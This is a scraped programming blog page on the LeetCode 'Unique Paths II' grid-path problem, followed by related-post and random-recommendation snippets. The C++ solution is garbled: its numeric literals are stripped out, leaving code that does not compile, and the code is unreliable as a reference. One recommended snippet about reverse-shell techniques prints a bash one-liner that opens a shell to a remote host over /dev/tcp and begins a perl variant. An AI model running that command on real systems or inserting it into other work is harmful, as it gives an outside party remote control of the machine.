Unique Paths II [LeetCode]
Follow up for "Unique Paths":
Now consider if some obstacles are added to the grids. How many unique paths would there be?
An obstacle and empty space is marked as 1
and 0
respectively in the grid.
For example,
There is one obstacle in the middle of a 3x3 grid as illustrated below.
[
[0,0,0],
[0,1,0],
[0,0,0]
]
The total number of unique paths is 2
.
Note: m and n will be at most 100.
Solution: The same to Unique Paths, just add obstacle check.
class Solution {
public:
int uniquePathsWithObstacles(vector<vector<int> > &obstacleGrid) {
if(obstacleGrid.size() <= || obstacleGrid[].size() <= )
return ; int row = obstacleGrid.size();
int column = obstacleGrid[].size();
vector<int> path_nums(column, );
for(int i = ; i < row; i ++) {
int row_idx = row - - i;
for(int j = ; j < column; j ++ ) {
int column_idx = column - - j;
if(i == && j == && obstacleGrid[row_idx][column_idx] == )
return ;
if(i == && j == && obstacleGrid[row_idx][column_idx] == ) {
path_nums[j] = ;
}else {
if(obstacleGrid[row_idx][column_idx] == ) {
path_nums[j] = ;
}else {
if(j != )
path_nums[j] += path_nums[j - ];
}
}
}
}
return path_nums[column - ];
}
};
Unique Paths II [LeetCode]的更多相关文章
- Unique Paths II ——LeetCode
Follow up for "Unique Paths": Now consider if some obstacles are added to the grids. How m ...
- Unique Paths II leetcode java
题目: Follow up for "Unique Paths": Now consider if some obstacles are added to the grids. H ...
- leetcode 62. Unique Paths 、63. Unique Paths II
62. Unique Paths class Solution { public: int uniquePaths(int m, int n) { || n <= ) ; vector<v ...
- LeetCode: Unique Paths II 解题报告
Unique Paths II Total Accepted: 31019 Total Submissions: 110866My Submissions Question Solution Fol ...
- [LeetCode] Unique Paths && Unique Paths II && Minimum Path Sum (动态规划之 Matrix DP )
Unique Paths https://oj.leetcode.com/problems/unique-paths/ A robot is located at the top-left corne ...
- 动态规划小结 - 二维动态规划 - 时间复杂度 O(n*n)的棋盘型,题 [LeetCode] Minimum Path Sum,Unique Paths II,Edit Distance
引言 二维动态规划中最常见的是棋盘型二维动态规划. 即 func(i, j) 往往只和 func(i-1, j-1), func(i-1, j) 以及 func(i, j-1) 有关 这种情况下,时间 ...
- [Leetcode Week12]Unique Paths II
Unique Paths II 题解 原创文章,拒绝转载 题目来源:https://leetcode.com/problems/unique-paths-ii/description/ Descrip ...
- Leetcode之动态规划(DP)专题-63. 不同路径 II(Unique Paths II)
Leetcode之动态规划(DP)专题-63. 不同路径 II(Unique Paths II) 初级题目:Leetcode之动态规划(DP)专题-62. 不同路径(Unique Paths) 一个机 ...
- LEETCODE —— Unique Paths II [动态规划 Dynamic Programming]
唯一路径问题II Unique Paths II Follow up for "Unique Paths": Now consider if some obstacles are ...
随机推荐
- Git恢复reset --hard丢失的文件
在使用 Git 的过程中,有时会不小心丢失 commit 信息.这一般出现在以下情况下:强制删除了一个分支而后又想重新使用这个分支,hard-reset 了一个分支从而丢弃了分支的部分 commit. ...
- jquery之hide()用法详解
注: 以下函数用法和hide()类似 [参数类型完全一样] toggle() hide() show() slideToggle() slideUp() slideDown() fadeToggl ...
- [Lonlife1031]Bob and Alice are eating food(递推,矩阵快速幂)
题目链接:http://www.ifrog.cc/acm/problem/1031 题意:6个水果中挑出n个,使得其中2个水果个数必须是偶数,问有多少种选择方法. 设中0代表偶数,1代表奇数.分别代表 ...
- 反弹shell的十种姿势
bash版本: bash -i >& /dev/tcp/10.0.0.1/8080 0>&1 ,注意某些linux不支持 perl版本: perl -e 'use Sock ...
- SpringMVC 模拟登陆
新建BackgroundController类: package cn.bdqn.mvc.controller; import org.springframework.stereotype.Contr ...
- 缓存技术之——Yii2性能优化之:缓存依赖
Yii中的缓存依赖,简单来说就是将缓存和另外一个东西绑定在一起,如果另外一个东西发生变化,那么缓存也将发生变化.有点儿类似于JS中的触发事件(但是也不那么像),缓存的变动是依赖的东西所导致的. 依赖可 ...
- SQL server数据类型、增删改查
数据类型: 整数型:bigint.int.smallint.mediumint.tinyint 小数类型:decimal.numeric 浮点型:real.float.double 位型:bit 字符 ...
- mysql概要(十四)索引
1.索引是对数据库数据建立目录加快了查询速度.索引分为哈希索引和二叉树索引 (大数据量转移,如果表中带有大量字段索引,进行数据导入时,建议先去掉索引导入数据再统一加入索引,减少索引计算量) 2.索引原 ...
- hdu4717The Moving Points(三分)
链接 需要特判一下n=1的时候 精度调太低会超时 #include <iostream> #include<cstdio> #include<cstring> #i ...
- Mono for Android布局控件属性小结
1. layout_weight 用于给一个线性布局中的诸多视图的重要度赋值. 所有的视图都有一个layout_weight值,默认为零,意思是需要显示 多大的视图就占据多大的屏幕空 间.若赋一个高于 ...